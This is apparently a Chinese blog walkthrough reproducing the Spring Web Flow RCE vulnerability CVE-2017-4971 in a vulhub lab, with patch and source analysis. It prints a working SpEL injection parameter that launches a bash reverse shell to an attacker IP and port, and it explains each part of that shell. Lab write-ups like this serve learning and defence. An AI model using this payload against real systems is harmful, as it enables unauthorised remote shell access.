环境的配置
kali上安装好docker,再拉取vulhub就可以,在vulhub里面找相应的漏洞打开就行。
对漏洞的理解
靶场搭建好就可以直接进行复现了。复现前我们先理解一下这个漏洞产生的原因。
先了解一下Spring Web Flow
它是一个web框架,适用于元素按照规定流程运行的程序。它是构建于Spring MVC上的。
Spring官网中的解释是:
- 有一个明确的开始和结束点。
- 用户必须按特定顺序浏览一组屏幕。
- 直到最后一步,更改才会完成。
- 一旦完成,就不可能意外地重复交易。
这次我们这个漏洞就是符合这个情况的,一个酒店预订系统,有一个明确的开始和结束点,并且必须按照给定的顺序执行。
我们对RCE也了解点
rce漏洞是可以让攻击者直接向后台服务器远程注入操作系统或者命令来获得一些权限。这种漏洞一般需要知道网站源码,进行分析挖掘。
rce漏洞基础知识链接:RCE代码及命令执行(详解)_rce命令执行-优快云博客
漏洞复现过程
源码分析
从题目运行起来可以知道这是一个订阅酒店的系统应该。
想直接了解这个补丁的去这个链接就行。
从这个补丁发现对addEmptyValueMapping(DefaultMapper mapper, String field, Object model) 这个方法里面的表达式解析的类进行了替换。
直接使用了BeanWrapperExpressionParser 来解析。
然后我找到有两个函数调用了 addEmptyValueMapping 方法
- addDefaultMappings(DefaultMapper mapper, Set parameterNames, Object model)
- addModelBindings(DefaultMapper mapper, Set parameterNames, Object model)
发现 bind 方法间接的调用了 addEmptyValueMapping 函数。
因为从补丁修复的地方知道,addEmptyValueMapping函数存在表达式执行的点,我们下来分析一下这个函数
它接收三个参数:
DefaultMapper
类型的mapper
String
类型的field
,表示要操作的字段名之类的字符串信息。Object
类型的model
,通常可以理解为包含数据的某个模型对象,可能是业务领域中的实体类实例等,用于从中获取相关数据或者基于它来做映射操作。
从参数和函数里写的调用方法可以发现主要控制field参数来触发漏洞,下面我们就去找有什么地方可以控制filed参数来执行恶意代码。我们再回去看我们刚刚发现用addEmptyValueMappingd
这个函数的那2个函数,发现addDefaultMappings 函数中用到了这个field,我们应该可以控制这个函数中的field来获得web权限。
结果就是,直接控制field这个值的函数是addDefaultMappings,且未做过滤,而addModelBindings是直接获取的java的一个配置文件,由配置文件来确定是否有 binder 节点,如果有,就无法触发代码执行。所以触发漏洞条件有两个:
(1)binder节点为空;
(2) useSpringBeanBinding 默认值(false)未修改。
漏洞的利用
知道了上面源码的要求条件,我们来构造恶意参数。
_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/10.2.90.209/10086+0>%261")).start()=vulfocus
输出重定向到对应的地址和端口
bash -i | 产生一个bash交互环境。 |
>& | 将联合符号前面的内容与后面相结合,然后一起重定向给后者。 |
/dev/tcp/47.xxx.xxx.72/2333 | Linux环境中所有的内容都是以文件的形式存在的,其实大家一看见这个内容就能明白,就是让目标主机与攻击机47.xxx.xxx.72的2333端口建立一个tcp连接。 |
参数里有下划线的原因是,上述源代码中有一个判断函数,函数的判断条件中有一个_。
漏洞复现
打开靶场
docker ps来查看端口
先监听我们想到监听的端口。
我们输入相关的端口和ip进入到网站里。
就顺着提示的操作做到最后预定那一块
点击confirm按钮,加入恶意参数反弹shell
最后拿到webshell,复现完成。
影响版本: Spring Web Flow 2.4.0 to 2.4.4
修复的建议就是升级Spring Web Flow版本为更高的版本。
学习链接
附上我学习看的大佬链接
视频链接
【漏洞复现与分析(2)CVE-2017-4971】漏洞复现与分析(2)CVE-2017-4971_哔哩哔哩_bilibili